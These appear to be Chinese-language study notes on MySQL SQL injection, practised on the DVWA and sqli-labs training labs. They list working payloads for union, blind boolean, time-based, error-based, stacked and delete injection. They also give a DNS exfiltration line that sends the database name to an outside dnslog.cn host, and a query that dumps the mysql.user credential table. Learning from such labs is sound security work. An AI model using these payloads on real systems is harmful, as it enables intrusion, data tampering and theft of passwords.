MySQL 注入笔记

靶场环境:dvwa , 安全等级 low

判断存在SQL注入

提交'报错
id=1id =1 and 1=1 返回的结果一样,id=1id =1 and 1=2 返回的结果不一样

构造正确的SQL语句

-- 数字型 id=1 or 1=1
select * from where id=1 or 1=1
--字符型 ' id=' or 2<>'1
select * from where id='' or 2<>'1'
--搜索型 ' or '21
select id from user where name like '%' or '21%'
--带括号 name') or 1 -- #
select id from user where name=('name') or 1
--截断型 id=1 or 1=1 --
select * from where id= 1 or 1=1 --limit 1
--还有像使用双引号的"

注入方式

union 查询

页面使用了select 查询,且返回数据

  1. 先推出当前select 的字段数量
-- 两个select 查询的字段数量需一致。使用order by 判断数量,order by 数字,指定用第n列排序
-- 例如 order by 10 出错,order by 5出错 order 2 返回正确数据
select id,name from user where id=1 union select null, database()
  1. 漏洞利用
-- 查所有数据库, group_concat 把值联接成一个
select id,name from user where id=1 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 
-- 查表
select id,name from user where id=1 union select 1,table_name from information_schema.TABLES  where TABLE_SCHEMA = database()
-- 查字段
select id,name from user where id=1 union select 1,column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'users'
-- 查值
select id,name from user where id=1 union select 1, password from 'users' where first_name='admin'

示例,打开 dvwa-sql Injection

  1. 推断当前select 字段数量
输入 1' order by 2 #
提交没报错,证明当前select 字段数量是2
  1. union 查询
查数据库
1' union select null, database() #
查表
1' union select 1,table_name from information_schema.TABLES  where TABLE_SCHEMA = database() #
查字段
1' union select 1,column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'users' #
查值
1' union select 1, password from users where first_name='admin' # 

布尔注入

有数据返回yes, 无数据返回no。只能根据构造带条件的sql判断。手工判断需要耗费大量时间,跑脚本吧。查询的参数需要正常有数据的才会触发and后面的 。靶场:dvwa > SQL Injection (Blind)

查库

  1. 先判断数据库长度,用二分法试探
    1' and length(database()) >= 4 #
  2. 判断数据库字母组成。根据数据库命名规则,穷举判断,得出数据库名字。
    1' and substr(database(),1,1) = 'd' #

查表

  1. 判断表名长度
    1' and length((select table_name from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1)) >= 9 #
  2. 查表名
    1 and substr((select table_name from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)='g' #

查列

  1. 查列名长度
    1' and length((select column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME ='users' limit 0,1)) >= 7 #
  2. 查列名字符
    1' and substr((select column_name from information_schema.columns where TABLE_SCHEMA = database() and TABLE_NAME ='users' limit 0,1),1,1) = 'u' #

报错注入

利用报错信息显示查询的数据,需要引发报错。靶场 dvwa>sql Injection

  1. 查数据库
    ' and updatexml(1,concat(0x7e, (select database()),0x7e), 1) #
  2. 查表
    ' and updatexml(1,concat(0x7e, (select table_name from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),0x7e), 1) #
  3. 查列
    ' and updatexml(1,concat(0x7e, (select column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'users' limit 0,1),0x7e), 1) #
  4. 查值
    'and updatexml(1,concat(0x7e, (select user_id from users limit 0,1),0x7e), 1)#

时间注入

利用响应时间判断条件成立, 步骤和布尔注入类似

  1. 查库。如果数据库名字大于2,页面会2秒后才响应
    1' and if (length(database())>=2,sleep(2),1) #

堆叠注入

如果可以运行多条语句,那么就可以使用;拼接多条语句
1'; update user set money=102 where id=1 #

## 漏洞利用
-- --
### 枚举数据库信息
```sql
-- MySQL 5.0 +
select SCHEMA_NAME from information_schema.SCHEMATA -- 所有数据库名称
select table_name from information_schema.TABLES  where TABLE_SCHEMA = database() -- 当前数据库所有的表
 -- 当前数据库下的test表的所有列
select column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'user'
-- MySQL 常用函数
database() -- 当前数据库
user()  -- 当前查询用户
version() -- 数据库版本

-- 示例
-- 查当前数据库名字,置顶取第一条
select id,name from user where id = 1 union select 0,database() order by 1 limit 1

DNS 注入

DNSLog Platform 从这里拿一个域名替换 r2bu6n.dnslog.cn

http://127.0.0.1/sqli-labs/Less-1/?id=1 and load_file(concat("\\\\",database(),".r2bu6n.dnslog.cn\\xxx.txt"))

delete 注入

查数据库,步骤和报错注入类似
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)

窃取口令

select * from mysql.user

你可能感兴趣的:(MySQL 注入笔记)